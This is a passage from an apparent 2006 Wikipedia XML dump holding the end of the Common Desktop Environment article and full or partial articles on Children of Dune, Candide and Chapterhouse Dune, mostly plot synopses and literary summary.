CDE was jointly developed by [[Hewlett-Packard]], [[IBM]], [[Novell]] and [[Sun Microsystems]] in [[The Open Group]]. It was based on HP's [[VUE]] (Visual User Environment).

Until about [[2000]], CDE was considered the [[de facto]] standard for UNIX desktops, but at that time, [[free software]] desktop environments such as [[KDE]] and [[GNOME]] were quickly becoming mature, and became almost universal on the [[Linux]] platform, which already had a larger user base than most commercial Unixes in total. 

In [[2001]], commercial Unix vendors [[Hewlett-Packard]] ([[HP-UX]]) and [[Sun Microsystems]] ([[Solaris Operating Environment|Solaris]]) announced that they would phase out CDE as the standard desktop on their workstations, in favor of [[GNOME]].  However, in April [[2003]], HP reportedly opted to return to CDE, as [[GNOME]] had not stabilised sufficiently for their preference.  It has been suggested that the non-frozen [[application programming interface|API]]s were the main complaint.  

As of early 2006, [[Solaris 10]], from Sun, includes both CDE and the GNOME-based [[Java Desktop System]]. Sun has gone on record stating that CDE will not be part of [[OpenSolaris]][http://www.opensolaris.org/os/downloads/]

==External links==
*[[Linux]] - [http://www.xig.com/Pages/DeXtop/CDE-GUI.html CDE]
*[[AIX operating system|AIX]] - [http://www-1.ibm.com/servers/aix/cde/ CDE]
*[[HP-UX]] - [http://docs.hp.com/en/B1171-90103/index.html CDE]
*[[Solaris Operating Environment|Solaris]] - [http://wwws.sun.com/software/solaris/cde/ CDE]
*[http://www.cs.cf.ac.uk/Dave/C/node2.html Tutorial for the CDE]
*[http://www.opengroup.org/cde/ Open Group - CDE]

[[Category:Desktop environments]]
[[Category:X Window System]]
[[Category:OpenVMS]]

[[de:Common Desktop Environment]] 
[[es:CDE]]
[[it:Common Desktop Environment]]
[[ru:CDE]]</text>
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  </page>
  <page>
    <title>Children of Dune</title>
    <id>6628</id>
    <revision>
      <id>40576237</id>
      <timestamp>2006-02-21T15:38:56Z</timestamp>
      <contributor>
        <ip>207.101.98.232</ip>
      </contributor>
      <comment>/* Synopsis */</comment>
      <text xml:space="preserve">{{DuneSeries}}

[[Image:ChildrenofDune.jpg|thumbnail|200px|Children of Dune]]

'''''Children of Dune''''' is a [[science fiction]] novel by [[Frank Herbert]], third in a series of six novels set in the [[Dune universe]]. It was originally serialized in [[Astounding Magazine|Analog Science Fact and Fiction]] in [[1976]], and was the last ''Dune'' novel to be serialized before book publication. The novels [[Dune Messiah]] and Children of Dune were adapted in 2003 into a well-received mini-series entitled [[Children of Dune (TV miniseries)|Children of Dune]] by the [[Sci-Fi Channel]].

[[Paul Atreides]] had two children, [[Leto Atreides II|Leto]] and [[Ghanima]].  At the end of ''[[Dune Messiah]]'', Paul walked into the desert, a blind man, leaving the children in the care of the [[Fremen]] while their aunt [[Alia Atreides|Alia]] rules the universe as regent.  Awoken in the womb by the spice, the children are the heirs to Paul's [[Prescience|prescient]] vision of the fate of the universe, a role that Alia desperately craves.  [[House Corrino]], the previous imperial house, schemes to return to the throne, while the [[Bene Gesserit]] make common cause with the [[Bene Tleilaxu]] and [[Spacing Guild]] to gain control of [[melange|the spice]] and the children of Paul Atreides.
{{spoiler}}

==Synopsis==
It is nine years since the Emperor Paul Muad'dib walked into the desert blind. The ecological transformation of [[Arrakis|Dune]] continues apace and some of the [[Fremen]] are even doing without stillsuits in the less arid climate. Fremen have started to move out of the Sietches and into the villages and cities. Millions of Fremen now, thanks to the Jihad, have experience of life off planet or out of the desert opening their minds to new possibilities, yet also causing them to forget the old ways. It is a time of great social change and economic growth on the new capital planet of the Imperium, as more and more pilgrims arrive each day to experience the planet of Muad'dib and Alia. The book opens with a meeting of the [[High Council|high council]] of the Imperial house. Those present - [[Alia Atreides|Alia]], [[Duncan Idaho]], [[Irulan]] (who since the death of Paul, has taken the role of caregiver to the Atreides children) and [[Stilgar]] - lament the fact that they have lost the initiative in the political arena. Paul Atreides had been powerless to control the Jihad and had left only the shadow of his religious mantle. Now Alia and her council are even less capable of controlling it. They are finding themselves tightening their grip on politics and ritual, yet only losing more control.

The two young children of Paul, [[Leto Atreides II|Leto]] and [[Ghanima]], are not normal nine year old children. Like Alia, they were forced into consciousness before birth and remember the lives and memories of all their ancestors. The children are very troubled because they have come to the conclusion that Alia has become possessed by one of her ancestors (become an 'Abomination'), and fear that a similar fate awaits them. They also realized that the quickening transformation of Dune will kill all the sandtrout and bring to an end the [[Sandworm (Dune)|Giant Worms]], and inevitably to the spice, a fact that only they and Alia know. 

Leto has an additional fear as well: he has started to have dreams which he is coming to believe are prophetic, like his father had when he was a similar age.  He fears being locked into an early prescient vision as he suspects happened to his father before him. He also has the added pressure that Alia is pushing him to enter into the spice trance, in order to unlock the door to prophetic visions, because she feels the need for such visions, in order to rule the empire, yet struggles to achieve them at all for herself. 

Things have reached a heightened note of tension because [[Jessica Atreides]] is coming to Arrakis to visit her grandchildren from her self-imposed retreat on [[Caladan]]. Alia fears this utterly because she has indeed become possessed by the [[Vladimir Harkonnen|Baron Vladimir Harkonnen]], and is sure that her mother will notice, despite her erroneous belief that no-one has yet recognised the change in her. The Baron is leading her far away from the Atreides way of doing things, she has even taken a lover behind Duncan's back, a priest called [[Javid]]. 

Out in the desert, a new religious figure has arisen among the Fremen, who preaches against the injustices of the religious government and the changes among the Fremen. He is called 'The Preacher', and some even believe he is actually Paul Atreides. 

Meanwhile on [[Salusa Secundus]] the [[House Corrino|Corrino]]s are plotting again for power. [[Wensicia]], younger sister of Irulan, rules in the name of her son, [[Farad'n]]. She has plans of Empire for her son, and has hatched a plot to assassinate the twins. 

Jessica arrives on the planet already wary. She has been approached by the Bene Gesserit, and forced to recognise that she has been ignoring important duties. She makes her peace with the sisterhood, and is apparently welcomed back. With the warnings of the Sisterhood, she arrives back on Arrakis fearing that Alia and her grandchildren have fallen into abomination. At the landing field she meets Alia, and recognises straight away that for Alia, at least, this is true. Alia is actually relieved by this - the time of concealment is over. 

A situation develops where everyone but Stilgar and Duncan Idaho have plans for the twins, but what no-one realizes is that the twins are pawns of no-one, and have plans of their own. 

Jessica arranges a meeting with Ghanima. She sees no signs of abomination on either of the twins, but Leto shows signs of concealing something so she excludes him from the meeting. Jessica and Ghanima meet truly as grandmother and granddaughter, and do not hide the love between them, straight away finding a common cause. Jessica learns the twins are aware Alia has fallen into abomination, and their speculation that undergoing the spice trance was Alia's fatal mistake. She quickly confirms that Ghanima is not possessed but still worries about Leto. Ghanima calms her fears on that score, but Ghanima admits she worries for him. 

Jessica next talks to Leto. Their meeting is far more confrontational. Leto controls the path of the conversation. Firstly he reveals to her his understanding of how she had been manipulated by the Bene Gesserit into coming to Arrakis through the conditioning of her training. Leto orders her to let herself be kidnapped. 

Leto talks to Stilgar and shakes up his universe. First he shakes up Stilgar's presumptions about him, Leto, by pointing out his memories and experiences go back far further than Stilgar, and that he is most suited to be Emperor. He lets Stilgar know that he is starting to have dreams of prophecy. He tells Stilgar that in one future, he is killed at the spot they are talking. He orders Stilgar to flee with Ghanima into the desert if that happens. He also undermines Stilgar's support for Alia, pointing out the flaws in her thinking, the destructive place it will take the Empire and the Fremen, and the fact she is no longer his friend. He makes Stilgar realize that change is coming and that traditional thinking was not the absolute guide Stilgar had thought it was. 

At Jessica's first reception with Alia, an assassination attempt is made on Jessica's life by minions of Alia/The Baron. Only with the help of old fedaykin companions of Paul is Jessica able to escape into the desert. A rebellion breaks out among the Fremen inspired by this latest injustice, a rebellion made all the more dangerous and legitimate because the mother of Muad'dib supports it and so counterweighs Alia's own religious mantle. Jessica presses for Alia to be tested for possession. 

At this time the twins choose to go out into the desert during the night. They do this even though they are aware that an attack will be made on their lives, prewarned by a vision of Leto's. The twins are attacked by two Laza Tigers, but they manage to kill the tigers, despite an injury to Ghanima. They then institute their own plan; Ghanima uses a hypnotic technique to convince herself that her brother was killed by the tigers, and goes back to Sietch Tabr grief stricken. Ironically, as a beneficial side effect of this hypnotic technique she finds that it gives immunity from the voices within. 

Meanwhile Farad'n has been told about the assassination attempt on Leto and Ghanima. He is shocked, not so much at the attempt, but at the clumsiness of it. But now he realizes the stakes involved. 

Duncan meanwhile is aware that Alia is cuckolding him with Javid, which he naturally enough finds heartbreaking, but he is utterly distraught with the realization that Alia is suffering from possession. He comes to realize that Alia is possessed when she suggests to him to get rid of Jessica. He realizes that on top of the fact that it is not the sort of behaviour an Atreides indulges in, that if she was in contact with her mother within her mind she would not even consider this, so obviously she is prevented from this. He concludes that she is possessed. Alia implies to Duncan she would like her mother to disappear. Duncan offers to make it happen, and Alia 'reluctantly' agrees. 

Duncan does make Jessica disappear but not as Alia expects. Duncan 'kidnaps' Jessica and takes her to Salusa Secundus, where she is to meet an interesting pupil. Jessica, unsure of Duncan's motives, asks who he serves. He says the Preacher. She asks if it is her son. He answers 'I wish I knew.' 

Duncan and Jessica arrive on Salusa. Farad'n informs Jessica with some compassion that her grandson has been killed, though her granddaughter survived. The Bene Gesserit have formally protested to CHOAM concerning the Corrino assassination attempt. Farad'n uses the situation to force his formal confirmation of power from his mother in front of witnesses. Jessica and Farad'n make a bargain. Jessica will announce that she has come to Salusa of her own free will. Farad'n will send his mother off into exile. Jessica will train Farad'n in the ways of the Bene Gesserit. The Bene Gesserit promise Farad'n the throne with Ghanima as his mate. Duncan attempts to commit suicide when he hears that Alia has offered herself as wife to Farad'n, an offer Farad'n was not foolish enough to accept. 

Alia dresses as a commoner and goes to witness a speech by the Preacher in order to determine whether or not he is in fact Paul, her brother.  Partway through the speech, the Preacher directs himself at Alia, seeing through her disguise, and eventually whispers in her ear that she is his sister.  Alia is momentarily paralyzed by the revelation while the crowd disperses. 

Duncan and Jessica talk. Duncan Idaho formally withdraws from Atreides service. He insults Jessica and advises Farad'n that he should send Jessica back to the Bene Gesserit. 

Meanwhile Leto went off seeking his father. 

Leto knew that in past centuries there was once a renegade tribe of Fremen called the Iduali or  &quot;Water Insects&quot;  who lived at a place called Jacurutu, also Fondak.  Also he discovered there was a village, or sietch, close to the site of old Jacurutu called Shuloch, which was inhabited by the same Iduali tribe. The Iduali in the remote past had killed other Fremen to take their water.  In retaliation for this, the other Fremen of Dune massacred the Iduali and declared their sietch taboo, but the surviving Iduali still secretly lived there.  Jacurutu/Fondak/Shuloch was in most people's minds just a legend, and it was thus an ideal hiding place.

Leto went to Jacurutu to seek asylum.  

Leto finds Jacurutu, but as he tries to infiltrate the camp he is captured. When he wakes up, he discovers that he has been captured by [[Gurney Halleck]] and a certain Namri. They tell him he has come to school. He is forcibly injected with Spice Essence, and so undergoes the Spice Trance. Gurney thinks it is on Jessica's instructions but it is really Alia's. 

Leto goes through the transformatory experience. Leto experiences fascinating and overwhelming oracular visions of possible futures. He nearly loses his mind, but in the end he manages to get through it. In all these futures but one, humanity goes extinct.  This future is the one he has deemed the Golden Path.

In his vision of the Golden Path, he sees the way out of his dilemma. He does this by seeking allies within the ancestors for the future, principally an old ruler from the distant past named Harum. These allies within join with him in order to make the Golden Path happen. After his experience he is tested by Namri, and survives the first test. Before they can test him again, he escapes into the desert. When they discover Leto gone, Namri and Gurney argue. Namri tells Gurney that he has been serving Alia, not Jessica as he thought, and attacks him. This was a serious mistake: Gurney kills him easily and silently escapes from Jacurutu. 

Alia and Duncan meet up again. Alia is shocked to learn her mother is not dead and is indeed training Farad'n. She is not aware that this was deliberate 'treachery' on Duncan's part, instead she thinks it is his innocence, that led him to take her literally. However, Alia/The Baron decides to arrange an accident for Duncan, seeing him as too dangerous. Duncan, as a mentat, sees through her clumsy plot, pretends to agree with her plans, and then escapes in a thopter. 

Leto's escape is not a complete one. He discovers that Namri had cut the heel pumps in his stillsuit and he has lost half his water. So he goes to Shuloch on his own terms. He meets a party of the men of Jucurutu/Shuloch, and through subterfuge gets Muriz, the leader, to offer him hospitality rights. 

Leto discovers at Shuloch that these Fremen are trapping Giant Worms for sale and transfer off world. This presents him with the opportunity to make his vision real. Leto sacrifices his humanity and, for the sake of the survival of the human race, chooses to accept the body of a sandworm. He dives into a pool of sandtrout, which form a living skin around him. He then explores the desert with his new, near-invulnerable body with which he runs through the desert at tremendous speed and possesses the strength of many men. Leto is no longer fully human, and his powers have become superhuman. 

Leto travels through the desert until he comes across the Preacher. He puts himself across the path of the worm which the Preacher and his guide are travelling on. Despite the guide's urging, the giant worm refuses to ride over Leto, recognising the sandtrout on Leto's body. Leto greets his father. It is a terrible moment for Paul Atreides, facing a son who had the bravery to do what he would not. 

Stilgar has been maintaining his neutrality between Alia and the rebels. But Duncan Idaho deliberately provokes Stilgar into a rage by killing Javid, and then insulting Stilgar. The maddened Stilgar kills him. Stilgar immediately recognizes Idaho's plan.  By killing him, Stilgar has no choice but to become a rebel to escape the vengeance which Alia would be forced to display for the public murder of her husband. By his actions, Idaho forced Stilgar to flee, taking Ghanima away from Alia's reach.

Alia hears of Duncan's death. She does the expected Fremen thing and orders her forces to find Stilgar and kill him. After doing this, and much to the internal Baron's surprise she grieves for Duncan, and for a moment returns to being just Alia. 

While conflict continues between the rebels and the loyalists and as Stilgar flees from hiding place to hiding place, Leto spends his time moving through the desert wrecking the ecological transformation of Arrakis by destroying the reservoirs (Qanats) that were being used to feed it. He is seen as a desert demon. Leto makes his base at Jacurutu. He kills all who oppose him, and Jacurutu accepts his orders with religious awe: he wears the skin of Shai-Hulud. 

After long conflict, Alia manages to recapture Ghanima through treachery. She offers Ghanima as bride to Farad'n. Ghanima agrees to this wedding, but only so she can get close enough to Farad'n, who, she believes, had her brother assassinated, to kill him. Farad'n arrives on Dune for the ceremony. 

Leto makes his move. He goes to Arakeen as The Preacher's guide. Paul as the Preacher makes a virulent speech against Alia, which provokes a priest to kill him in front of the eyes of Alia, Farad'n and Jessica. At this point Leto arrives with Ghanima, to everyone's shock. He says the keywords to awaken Ghanima's secret memories. She asks him if the plan worked, and he says &quot;well enough.&quot; Alia orders the guards to seize him, but he throws them aside, and they are too scared to enter the room. Leto advances on Alia, and offers his help to fight the inner lives within. This causes Alia to break down, she fragments totally, and different voices in different languages pour out of her, until finally the Old Baron takes control. He is confronted by Leto and Jessica, and they urge Alia to fight him. She does so by hurling herself out of the window to her death. 

Leto makes himself emperor. He uses his new near-invulnerable body to establish himself as undisputed Emperor, scaring all the Fremen naibs into submission. He ingests poisons, lifts heavy weights, and survives wounds from blades in order to prove this power. In the end all the naibs come to Arakeen to surrender leadership to him. 

Leto reveals the [[Golden Path]] to Farad'n. Farad'n, whom Leto renames Harq al-Ada, accepts a post at Leto's empire, gives Leto his legions of [[Sardaukar]], and agrees to marry Ghanima in secret. 

Leto Atreides's position as God Emperor of the galaxy is secure. With his armies, prescience, and ancestral memories he cannot be defeated, and with an iron hand rules the human race for millennia, forcing it down his Golden Path.

[[Category:1976 books|Children of Dune]]
[[Category:Frank Herbert novels|Children of Dune]]
[[Category:Science fiction novels|Children of Dune]]
[[Category:Dune universe media]]

[[es:Hijos de Dune]]
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  </page>
  <page>
    <title>Candide</title>
    <id>6629</id>
    <revision>
      <id>41669481</id>
      <timestamp>2006-02-28T23:27:59Z</timestamp>
      <contributor>
        <ip>81.153.160.185</ip>
      </contributor>
      <text xml:space="preserve">:''Note: For the [[operetta]] based on the book, please see [[Candide (operetta)]].''

'''''Candide, ou l'Optimisme''''', ([[English language|English]]: ''Candide, or Optimism'') ([[1759]]) is a [[picaresque novel]] by [[the Enlightenment]] [[philosopher]] [[Voltaire]]. Voltaire never openly admitted to having written the controversial ''Candide''.  The work is signed with a [[pseudonym]]: &quot;Monsieur le docteur Ralph,&quot; literally &quot;Dr. Ralph.&quot;

Sardonic in outlook, it follows the naïve protagonist Candide from his first exposure to the [[precept]] that &quot;all is for the best in this, the best of all [[Possible world|possible worlds]],&quot; and on through a series of adventures that dramatically disprove that precept even as the protagonist clings to it. 

The novel [[satire|satirizes]] the philosophy of [[Gottfried Leibniz]] and is a showcase of the horrors of the [[18th century]] world. In ''Candide,'' Leibniz is represented by the philosopher [[Pangloss]], the tutor of the title character.  Despite a series of misfortunes and misadventures, Pangloss continually asserts that ''tout est au mieux'' (&quot;everything is for the best&quot;) and that he lives in ''le meilleur des mondes possibles'' (&quot;[[Best of all possible worlds|the best of all possible worlds]]&quot;).    

{{Wikisourcelang|fr|Candide|Candide}}
==Memorable passages from ''Candide''==

* In [[Great Britain]] at least, the best known passage is where it refers to the execution of the British Admiral [[John Byng]]: ''Dans ce pays-ci, il est bon de tuer de temps en temps un amiral pour encourager les autres.'' (&quot;In this country, it is wise to kill an admiral from time to time to encourage the others.&quot;)
 
* The Venetian senator Pococurante's summing up for his simpler visitors his views of the authors whose works comprise his library. &lt;br&gt;&lt;br&gt;''&amp;laquo; Les sots admirent tout dans un auteur estimé. Je ne lis que pour moi ; je n'aime que ce qui est à mon usage. &amp;raquo; Candide, qui avait été élevé à ne jamais juger de rien par lui-même, était fort étonné de ce qu'il entendait ; et Martin trouvait la façon de penser de Pococuranté assez raisonnable.''&lt;br&gt;&lt;br&gt;English translation:&lt;br&gt;&lt;br&gt;''&quot;Fools admire everything in an author of reputation. For my part, I read only to please myself. I like only that which serves my purpose.&quot; Candide, having been educated never to judge for himself, was much surprised at what he heard. Martin found there was a good deal of reason in Pococurante's remarks.''

* Candide has just arrived in Holland, broke and starving, and is trying to beg from an anti-Catholic speaker for a few guilders to get a meal. &lt;br&gt;(English only) ''&quot;My friend,&quot; said the orator to him, &quot;do you believe the Pope to be Anti-christ?&quot; &quot;I have not heard it,&quot; answered Candide, &quot;but whether he be, or whether he be not, I want bread.&quot; &quot;Thou dost not deserve to eat,&quot; said the other. &quot;Begone, rogue; begone, wretch; do not come near me again.&quot;  The orator's wife, putting her head out of the window, and spying a man that doubted whether the Pope was Anti-christ, poured over him a full... Oh, heavens! to what excess does religious zeal carry the ladies.''

* The priests of Portugal decide to burn a few people at the stake after the [[Lisbon earthquake of 1755]]. &lt;br&gt; ''After the earthquake had destroyed three-fourths of Lisbon, the sages of that country could think of no means more effectual to prevent utter ruin than to give the people a beautiful ''[[auto-da-fe]]''; for it had been decided by the University of Coimbra, that the burning of a few people alive by a slow fire, and with great ceremony, is an infallible secret to hinder the earth from quaking.''  (later on, after the executions) ''The same day the earth sustained a most violent concussion.''

* The Old Woman describes the violent state of affairs in Morocco during her time of enslavement there. &lt;br&gt; ''The slaves, my companions, those who had taken them, soldiers, sailors, blacks, whites, mulattoes, and at last my captain, all were killed, and I remained dying on a heap of dead. Such scenes as these were transacted on a daily basis throughout an extent of three hundred leagues, and yet they never missed the five prayers a day ordained by Muhammad.''

* The Dervish and an unnamed old man dispense their ''laissez faire'' views of human relations to the nearly enlightened Candide. &lt;br&gt; ''In the neighborhood there lived a very famous Dervish who was esteemed the best philosopher in all Turkey, and they went to consult him. Pangloss was the speaker. &quot;Master,&quot; said he, &quot;we come to beg you to tell why so strange an animal as man was made.&quot;  &quot;With what meddlest thou?&quot; said the Dervish; &quot;is it thy business?&quot;  &quot;But, reverend father,&quot; said Candide, &quot;there is horrible evil in this world.&quot;  &quot;What signifies it,&quot; said the Dervish, &quot;whether there be evil or good? When his highness sends a ship to Egypt, does he trouble his head whether the mice on board are at their ease or not?&quot;  &quot;What, then, must we do?&quot; said Pangloss.  &quot;Hold your tongue,&quot; answered the Dervish.  &quot;I was in hopes,&quot; said Pangloss, &quot;that I should reason with you a little about causes and effects, about the best of possible worlds, the origin of evil, the nature of the soul, and the preestablished harmony.&quot;  At these words, the Dervish shut the door in their faces. &lt;br&gt; During this conversation, the news was spread that two Viziers and the Mufti had been strangled at Constantinople, and that several of their friends had been impaled. This catastrophe made a great noise for some hours. Pangloss, Candide and Martin, returning to the little farm, saw a good old man taking the fresh air at his door under an orange bower. Pangloss, who was as inquisitive as he was argumentative, asked the old man what was the name of the strangled Mufti. &quot;I do not know,&quot; answered the worthy man, &quot;and I have not known the name of any Mufti, nor of any Vizier. I am entirely ignorant of the event you mention; I presume in general that they who meddle with the administration of public affairs die sometimes miserably, and that they deserve it; but I never trouble my head about what is transacting at Constantinople; I content myself with sending there for sale the fruits of the garden I cultivate.&quot; &lt;br&gt; (The men go back to the old man's house and have a wonderful meal.) &lt;br&gt; &quot;You must have a vast and magnificent estate,&quot; said Candide to the Turk.  &quot;I have only twenty acres [81,000 m&amp;sup2;],&quot; replied the old man; &quot;I and my children cultivate them; our labor preserves us from three great evils - weariness, vice, and want.&quot;''

*  Candide is with Pococurante (literally 'small care') in the Venetian study. &quot;Oh, here is a copy of Cicero&quot;, said Candide. &quot;Now this great man I suppose you're never tired of reading.&quot; &quot;I never read him at all&quot;, replied the Venetian. &quot;I might like his philosophical works better, but when I saw that he had doubts about everything, I concluded that I knew as much as he did, and that I needed no help to be ignorant.&quot; (Cicero was a Roman lawyer, elocutionist, politician and philosopher of the first century B.C.. Since the sixteenth century &quot;advanced&quot; opinion dismissed him as a windbag, so Pococurante  dismisses him.)

* Candide is discussing with his friend Martin whether people in England are as foolish as the French. Martin replies that indeed, this was so, but that the English were foolish in a different way: &quot;Vous savez que ces deux nations sont en guerre pour quelques arpents de neige vers le Canada, et qu'elles dépensent pour cette belle guerre beaucoup plus que tout le Canada ne vaut&quot; (&quot;You know that these two nations are at war over a few acres of snow near Canada, and that they are spending on this beautiful little war more than all of Canada is worth&quot;); see: [[A_few_acres_of_snow]]

* Candide reaches a sort of enlightenment and concurs with Martin. &lt;br&gt; &quot;''Let us work,&quot; said Martin, &quot;without disputing; it is the only way to render life tolerable.&quot;'' (Whenever Pangloss starts prattling on about some quatsch, Candide's response is:) ''&quot;All that is very well,&quot; answered Candide, &quot;but let us cultivate our garden.&quot;''

==Characters==

* [[Candide (character)|Candide]], the protagonist
* [[Cunégonde]], Candide's love interest
* [[Pangloss|Dr. Pangloss]], Candide's tutor
* [[Cacambo]], Candide's valet
* [[Martin (Candide)|Martin]], Candide's travelling companion
* [[Paquette]], maid for Cunegonde's family
* Cunegonde's brother
* The old woman

==Trivia==
Candide makes a passing reference to the fictional Pope Urban X as the father of a character. According to an endnote which first appears in a [[1829]] edition, Voltaire used &quot;extreme discretion&quot; in ascribing an illegitimate daughter to a fictional Pope instead of a real one. The last pontiff to bear the name Urban was [[Pope Urban VIII]].

Voltaire knew everyone who was known at the time and quite possibly knew [[Adam Smith]] author of ''The Wealth of Nations''. If not, Voltaire anticipates him (by 17 years) with the observation of the usefulness of the production of pins, which is the centerpiece example of Adam Smith's great book.  See (XXV) Pococurante's reply to Martin regarding the value &quot;of four score volumes of the Academy of Science&quot;. He says:&quot;...if only one of those rakers of rubish had shown how to make pins...&quot;. The [[Industrial Revolution]] is usually pegged at beginning 1750, which is arbitrary but useful. ''Candide'', 1759. ''The Wealth of Nations'', 1776. Did Voltaire get the idea from Adam Smith or did he see for himself the usefulness of industry?  The difference in living standard between the Continent and England was observable by travelers like Voltaire; England at this time was way ahead.

==See also== 
*[[panglossianism]]
*[[dystopia]]
*[[Leonard Bernstein]] based an [[operetta]] ([[1956]]) on Voltaire's story; see [[Candide (operetta)]].

==External links==
*Online Text
**French text from University of Virginia: [http://etext.lib.virginia.edu/etcbin/browse-mixed-french?id=VolCand&amp;tag=public&amp;images=images/modeng&amp;data=/lv1/Archive/french-parsed]
**[http://www.voltaire.ox.ac.uk/e-texts/www_cwvolt/cw_texts/cw_48010C_candide/48010C_toc.html English translation at the Voltaire Foundation, University of Oxford]
**[http://www.elook.org/literature/voltaire/candide/ Candide by Voltaire - electronic text]
*Other Information
**A letter written by [[Voltaire]] to the ''Journal encyclopédique'' in which the author denies being the author of Candide: [http://humanities.uchicago.edu/homes/VSA/Candide/Candide.letter.html]
** Bibliography of electronic and illustrated editions as well as of parodies and imitations: [http://ub-dok.uni-trier.de/candide.htm]
**[http://www.biblioweb.org/-VOLTAIRE-.html Links to analysis and Plot overview] (in French)

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[[Category:Satirical books]]
[[Category:French novels]]
[[Category:Utopian novels]]
[[Category:Voltaire]]
[[Category:Philosophical novels]]

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  </page>
  <page>
    <title>Chapterhouse Dune</title>
    <id>6630</id>
    <revision>
      <id>41823728</id>
      <timestamp>2006-03-01T23:54:03Z</timestamp>
      <contributor>
        <username>Nessus87</username>
        <id>1002065</id>
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      <comment>/* Daniel and Marty */</comment>
      <text xml:space="preserve">{{DuneSeries}}

[[Image:ChapterhouseDune.jpg|thumbnail|200px|Chapterhouse: Dune]]

'''''Chapterhouse Dune''''' is a [[science fiction]] novel by [[Frank Herbert]], last in the series of six Dune novels. It is also known variously as '''''Chapterhouse: Dune''''', '''''Chapter House Dune''''' and '''''Chapter House: Dune'''''.

The [[Bene Gesserit]] still find themselves questioning the [[Golden Path]] of humanity set by the [[Leto Atreides II|God Emperor]]. Now they must survive the [[Honored Matres]], whose reckless conquest of the Old Empire threatens humanity's survival. The Sisters must reassess their timeless methods: does ultimate survival go beyond calculated manipulation? Is there greater purpose to life than consolidating power?

{{spoiler}}

==Synopsis==
===Introduction===
This situation is desperate for the Bene Gesserit as they find themselves the targets of the [[Honored Matres]], whose conquest of the Old Empire is almost complete. The Matres are seeking to assimilate the technology and developed methods of the Bene Gesserit, their &quot;last enemy in the million planets&quot; (i.e. the Old Empire before the Scattering). Given the strength and record of the Matres, the Bene Gesserit need a plan.

In charge of this plan is Darwi Odrade, successor of Taraza. Her prescient visions show an unknown axeman stalking her--an adequate analogy to the Bene Gesserit situation. 

The Bene Gesserit are also creating a new [[Arrakis|Dune]] on the planet Chapter House. [[Sheeana]]--in charge of the Worm project--expects a sandworm soon.

The Honored Matres conquest destroyed the [[Bene Tleilaxu]], who falsely assumed that their control of [[melange|spice]] production guaranteed their protection. The Matres, we come to see, are surprisingly impulsive in their use of violence. A single Tleilaxu Master remains, albeit in Bene Gesserit captivity. He yields a secret of the Tleilaxu: [[Ghola]] Production. The technology compromises Bene Gesserit ethics; the Tleilaxu method requires a human womb--turning women into &quot;tanks&quot; fit for Ghola production. The first ghola produced is that of [[Miles Teg]], the great military commander introduced in ''[[Heretics of Dune]]''.

The Bene Gesserit have four important prisoners on Chapter House, held in a [[no-ship]]: Ghola Miles Teg, Scytale, [[Duncan Idaho]] and [[Murbella]] (the Matre introduced in ''Heretics''). The Bene Gesserit considers them valuable keys to the present predicament. This mode of thinking--that people are tools fit for a task--makes the prisoners uncooperative, despite the shared threat of the Matres.

The Bene Gesserit intend to wring more secrets of the Tleilaxu from Scytale--namely, how to create spice from the axolotl tanks. Scytale bitterly regrets supplying the Bene Gesserit with ghola technology, but he must barter with them; he is their prisoner. Within Scytale's chest is a nullentropy tube, containing the cells of all Tleilaxu masters and various figures of the last few millennia, including many [[House Atreides|Atreides]]. Capable of recreating the Bene Tleilax, he retains his sense of destiny. Additionally, Scytale also wields the mind-controlling whistling language imprinted in all gholas; what ends could Duncan Idaho achieve for Scytale?

Duncan Idaho and Murbella are living together. The bond created by their mutual imprinting in ''Heretics'' has made them somewhat reluctant lovers. The Bene Gesserit have accepted Murbella as a novice and are training her to be a Sister, despite their belief that she intends to steal their secrets and escape back to the Honored Matres. 

The Bene Gesserit wonder about Idaho's capabilities and potential; they suspect he remembers more than this ghola existence because they see signs of his being a [[mentat]], a talent not taught to him. They also wonder why [[Leto II]] consistently resurrected Duncan; is it his genetic potential? Indeed, he remembers his serial Ghola lives, which mystifies him. His mentat awareness tells him that the Bene Tleilaxu could not have accomplished this, implying that his awareness is linked beyond genetics.

===Body===
[[Lampadas]], a center for Bene Gesserit education, has fallen to the Honored Matres.

One Sister, [[Lucilla (Bene Gesserit)|Lucilla]], manages to escape the disaster of Lampadas. She carries the salvation of destroyed Lampadas: the shared-minds of the [[Reverend Mother (Dune)|Reverend Mothers]] of Lampadas. Unfortunately, Lucilla's ship is damaged by a mine and she makes a forced landing on [[Giedi Prime|Gammu]].

Lucilla seeks refuge with an underground group whom she knows will be sympathetic to the Bene Gesserit: [[Jews]].  Long ago, Jews went underground from the repeated pogroms against them, continuing to practice their religion in secret, under cover as &quot;religious revivalists,&quot; to conceal their unbroken connection to ancient history.  They were so successful that they have survived for 26,000 years while history believed them long since annihilated.  The Bene Gesserit--with their memories of the past--were not deceived and have developed a relationship with the Jews.

The [[Rabbi]], trapped in the web of mutual obligation, gives Lucilla temporary sanctuary, but in order to save his organization he must deliver Lucilla to the Matres.  To Lucilla's shock he reveals Rebecca, a &quot;wild&quot; Reverend Mother, ''ie'' a Reverend Mother who has gained her Other Memories without Bene Gesserit training.  Lucilla shares with Rebecca, who promises to take the shared minds of Lampadas safely back to the sisterhood. Lucilla is then &quot;betrayed&quot; to the Honored Matres. 

Back on Chapter House, Odrade's plans are reaching fruition.  She confronts Duncan Idaho and forces him to admit that he is a mentat, proving he retains memories of many ghola lives. To some degree this is a relief to Duncan, as he no longer has to disguise his abilities, but he realizes this makes his position still more precarious. 

Lucilla is taken before the Great Honored Matre, and to her surprise she is not killed outright. A game of words begins, and the Matre tries to persuade her to join the Honored Matres, preserving her life in exchange for Bene Gesserit secrets. It becomes known that the Matres dearly want to learn to modify their biochemistry as the Bene Gesserit do. It is speculated that the Matres were driven from the Scattering by an enemy who used biological weapons.

Meanwhile, Murbella collapses under the pressure of Bene Gesserit training and pregnancy--giving in to &quot;word weapons&quot; that the Bene Gesserit planted to undermine her earlier Honored Matre identity. Murbella realizes that she really admires and wants to be Bene Gesserit and sees her former matres as ignorant children. The words of her initiation are repeated with an emphasis not in the original.

[[Dortujla]], the head of a sisterhood keep on Buzzell, arrives on Chapter House reporting that Handlers and [[Futars]]--genetic creations similar to Tlielaxu masters and face-dancers--have offered alliance, though Dortujla's Mentat analysis suggests they intend dominance. She speculates that if the Handlers found Buzzell then Matres may too--smugglers would have sold their information indiscriminately. Why have the Honored Matres not already attacked? Odrade sees an opportunity and orders Dortujla to return to Buzzell with the Sisterhood's offer of surrender. Dortujla is to set up a meeting at Junction--the old [[Spacing Guild]] complex above Gammu--which the Matres control. Little to their knowledge, Miles Teg has intimiate experience with Junction from his human life.

